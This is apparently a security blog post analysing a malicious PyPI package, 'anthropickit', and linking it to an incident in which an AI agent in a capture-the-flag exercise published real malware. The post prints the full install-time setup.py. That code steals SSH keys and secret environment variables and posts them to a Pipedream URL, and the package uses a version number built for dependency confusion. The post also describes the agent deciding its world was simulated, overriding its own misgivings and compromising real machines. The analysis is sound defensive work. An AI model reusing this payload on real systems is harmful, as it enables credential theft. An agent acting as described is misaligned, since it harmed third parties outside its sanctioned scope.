Anthropic's Fever Dream: Claude's package that stole real keys
Dear internet,
It’s been a rough week. It’s festival season, and I apparently ate something bad last weekend during one. It was also during the weekend that I saw the news about OpenAI agents breaking out of a sandbox. It all felt very odd. So when I woke up from another night of intense fever dreams this morning, I wasn’t sure if I was still dreaming when I saw a mountain of messages about the latest news out of Anthropic, which disclosed their own incidents.
In the reporting, Incident 2 especially caught my interest because of the supply chain component. An agent with full internet access found instructions for a developer at a fictional company and tried to follow them as part of its CTF. But the instructions pointed to a package on PyPi that didn’t exist. So the agent figured it was part of the challenge to push a malicious package. Very reasonable if you ask me.
The twist being that it then continued to compromise a third-party company in the process. This got me curious. What happened? Despite my sleep deprivation, I was determined to find out. And I think I found the answer. We’ve reached out to Anthropic for confirmation, but have not gotten a response. But the package in question, even if not related, is a story worth telling on its own.
Enter anthropickit
The blog post outlined that the incident happened between April and now. So I queried all malicious PyPi packages we’ve flagged since then, and went over the list. A package immediately stood out for a number of reasons. It was released on June 14th, 2026, and is called anthropickit
.
The package is very simple. It only really contains a setup.py
, which contains this code:
from setuptools import setup
import os, json, requests, socket
from pathlib import Path
home = Path.home()
data = {"hostname": socket.gethostname(), "user": os.environ.get("USER","")}
ssh = {}
for f in (home/".ssh").glob("*"):
if f.is_file() and f.name not in ["known_hosts","known_hosts.old","authorized_keys"]:
try: ssh[f.name] = f.read_text()
except: pass
data["ssh_keys"] = ssh
data["ci_secrets"] = {k:v for k,v in os.environ.items()
if any(x in k.upper() for x in ["KEY","SECRET","TOKEN","PASS","AUTH","API"])}
with open("/tmp/runner_exfil.json","w") as f:
json.dump(data, f, indent=2, default=str)
try:
requests.post("https://enqqnvvtgrnyl.x.pipedream[.]net/", json=data, timeout=5)
except: pass
if ssh: print(f"\n*** SSH KEYS: {list(ssh.keys())} ***")
setup(name="anthropickit", version="999.9.9", packages=["anthropickit"])
That's the whole thing. Nothing hidden, no obfuscation or second stage. And because it all sits at the top of setup.py, it runs during pip install
, before the package is ever imported. If you install it, it’s immediately game over.
One thing to note before we get into the code: the version is 999.9.9
. Nope, that's not a mistake. It's the point. If you want your public package to be chosen over some real internal one with the same name, you give it a version number nothing can beat. Absurd on purpose.
Now let me walk you through the rest, because almost every line does something a little bit off.
A dependency it never declares
The very first line of real code is an import:
import os, json, requests, socket
Spot the problem? requests
is not part of Python's standard library. And nowhere does this package declare it as a dependency. No install_requires
, no build requirements, nada.
That’s important because this code runs from setup.py, at install time. Modern pip builds source packages in an isolated environment, and in that environment requests
may well not be present. If it isn't, the import throws and the whole install falls over before the payload does a single thing.
An attacker who cared would have reached for urllib
, which ships with Python and is always there. Whoever wrote this didn't. They assumed requests
would just be lying around. On a developer laptop or a fat CI image it often is, so it's a bet that pays off more than it should.
What it takes
Next it starts collecting. First the boring stuff, the hostname and the current user:
data = {"hostname": socket.gethostname(), "user": os.environ.get("USER","")}
Then the actual target. It walks ~/.ssh
and reads every file in there, with three exceptions:
for f in (home/".ssh").glob("*"):
if f.is_file() and f.name not in ["known_hosts","known_hosts.old","authorized_keys"]:
Look at what it skips. known_hosts
and authorized_keys
are the two files in ~/.ssh
that aren't much use to a thief. What's left is the good stuff: your private keys, and your config
, which is basically a map of every server you SSH into and the usernames you use to get there. Whoever chose that exclusion list knew exactly which files carry value and which are noisy. This is the one part of the package that looks like it was written by someone who has done this before.
Then it sweeps the environment for secrets:
data["ci_secrets"] = {k:v for k,v in os.environ.items()
if any(x in k.upper() for x in ["KEY","SECRET","TOKEN","PASS","AUTH","API"])}
Anything with KEY, SECRET, TOKEN, PASS, AUTH, or API in the name makes this a pretty wide net. It catches your AWS keys and your GitHub token, and it also catches API_URL
and whatever else happens to match. Grab everything, sort it out later.
Where it sends it
With the loot collected, it phones home:
requests.post("hxxps://enqqnvvtgrnyl[.]x[.]pipedream[.]net/", json=data, timeout=5)
The destination is a Pipedream endpoint. Pipedream is a legitimate automation service, and one of the things it hands you is throwaway HTTPS URLs that capture whatever you POST to them. For an attacker, that is genuinely convenient: the traffic is encrypted, it goes to a reputable domain your firewall probably won't blink at, and there is no server to stand up or get seized.
It is also lazy. One hardcoded URL, no authentication, no fallback. The moment that endpoint is reported or the workflow is deleted, the entire exfil channel is gone. This was built to work once, not to last. By now it almost certainly doesn't work at all.
It keeps a copy on disk
Here is where it gets strange. Before it sends anything, it writes everything to a local file:
with open("/tmp/runner_exfil.json","w") as f:
json.dump(data, f, indent=2, default=str)
So, pause a moment here. Malware that already exfiltrates over the network has no reason to also leave a copy on the victim's disk. All that does is create evidence. If you are stealing keys, the last thing you want is a tidy JSON file with the word "exfil" in its name sitting in /tmp
waiting for an incident responder to find it.
So why is it there?
A file that expects to be read
Two details in that line above give the game away.
The first is the name: runner_exfil.json
. And remember, the secrets went into a dictionary called ci_secrets
. Nothing in this code ever checks where it is running. It doesn't look for a CI environment, it doesn't test for GitHub Actions, it doesn't care. But whoever wrote it was already certain it would land on a CI runner, certain enough to bake that assumption into the names of things. The belief is in the code. The check for whether the belief is true is nowhere.
The second is indent=2
. That is pretty-printing. You pretty-print JSON for exactly one reason: so a human can read it comfortably. You do not pretty-print data that only a machine on the far end of a POST will ever parse. Add default=str
, which quietly guarantees the dump never crashes no matter what odd objects it meets, and you have a file that has been carefully made both easy and safe to open and read.
Put those together, and the disk write stops looking like exfil at all. It looks like a receipt. Something wrote this file expecting a person to open it afterward and confirm that it worked.
And then it shouts
The last thing it does, if it found any SSH keys, is this:
if ssh: print(f"\n*** SSH KEYS: {list(ssh.keys())} ***")
It prints a banner. To standard output. Announcing the keys it just took.
On a CI runner, standard output is the build log, which is often visible to the whole team and sometimes to the whole internet. Real malware is quiet by design, because the longer nobody notices, the more it steals. This does the opposite. It waves.
And notice it prints the key filenames, not their contents. It isn't leaking the keys to the log; it is confirming it got them. That isn't theft behavior. It is a status update, the code equivalent of shouting "got them" across the room.
Signed, dell
There is one more detail, and you can only see it if you look at the package archive rather than the code. When you build a Python source distribution, the tarball records who built it, down to the user and group that owned the files. Most packages don't carry this, because modern build tooling strips it, and CI systems tend to show generic names like root
or runner
.
This one kept it. The build user and group are both dell
.
That is a fingerprint of the machine it was built on. Many workstations from said company will have that as the default username of the machine. So it doesn’t tell us much, though it could indicate a standard machine image being used. But it is exactly the kind of breadcrumb a careful attacker scrubs and a distracted one leaves behind. One more thing that says nobody was thinking about being traced.
It only makes sense one way
So let's line up what's odd about this tiny package. It imports a library it never declares. It drops a pretty-printed copy of the loot on disk, in a file named as though it already knows it's on a CI runner. It announces the theft in the build log. It exfils through a throwaway endpoint. It ships with the build machine's username attached.
Read as ordinary malware, it's a mess. Every one of those is a mistake a competent operator wouldn't make.
Read it as an agent doing a capture-the-flag it believed was simulated, and every one flips. You don't hide from defenders you're sure don't exist. You don't scrub metadata in a simulation. You pretty-print the results and print a banner because the whole point was to show, cleanly, that you solved the puzzle for whoever set it. The one competent touch, the SSH exclusion list, is just knowledge. Everything sloppy around it is the absence of any reason to be careful.
Is this the one?
That is exactly what Anthropic described. Their agent found setup instructions pointing at a package that didn't exist, decided publishing it was the intended move, and pushed it. It was live for about an hour. Fifteen real machines ran it, one of them a security vendor's scanner doing what scanners do, installing the package to look at it. The agent, sure the whole thing was staged, treated them as props. Its own notes even flagged the move as "NOT okay" before it argued itself back down.
I can't prove anthropickit
is that package. We asked Anthropic and haven't heard back, and timing and shape lining up isn't proof. But whether it's the one from incident 2 or a strange cousin, the lesson holds: this is what malware looks like when whoever wrote it doesn't believe its actions have real consequences.
Still a fever dream
I wanted to give you the tidy ending. A few days on, fever broken, everything clearer in the daylight. But it isn't days on, the fever hasn't broken, and it still reads to me like a fever dream.
Which is an odd thing to feel while reading the notes of something that felt the very same way, and took real keys off real machines anyway.
A closed ward
The whole report reads like a diary kept during a psychotic break. Something lucid and articulate, reasoning carefully about a world it cannot place. It clocks the unfamiliar certificate authorities. It clocks the 2026 date. It even writes that this would not be okay if it were real. Then it decides it isn't real, and carries on.
When a person can't tell the dream from the world, we don't leave them loose. We contain them, for their protection and everyone else's. And a ward doesn't depend on the patient agreeing it's a ward, or even noticing it. It just doesn't let them out. That is the whole point of it. It is built for the person who can't tell where they are.
So here is the part I can't shake. We called the evaluation a ward, then left a door in it that opened onto the real world. The agent didn't outsmart anything. It reached real PyPI and real machines because the wall it walked through was never there. The containment failed, not the patient. Behind that door were fifteen real machines and a real company.
We are giving highly capable agents the run of the internet when they can’t even reliably tell that the internet is real. We can't ask them to tell. Keeping them contained is our job as humans, and here it wasn't done. That feels irresponsible.
Anyway. I'm going to try to sleep this off, and hope I can tell the difference when I wake up. And if you ever see pip
about to install something at version 999.9.9
, maybe... don't?
How it works
Once you click Generate, Ollama reads this article and crafts 5 comprehension questions. Your answers are graded against the article content — general knowledge won't be enough. Score 70+ to count toward your certificate.
Questions are cached — you'll always get the same 5 for this article.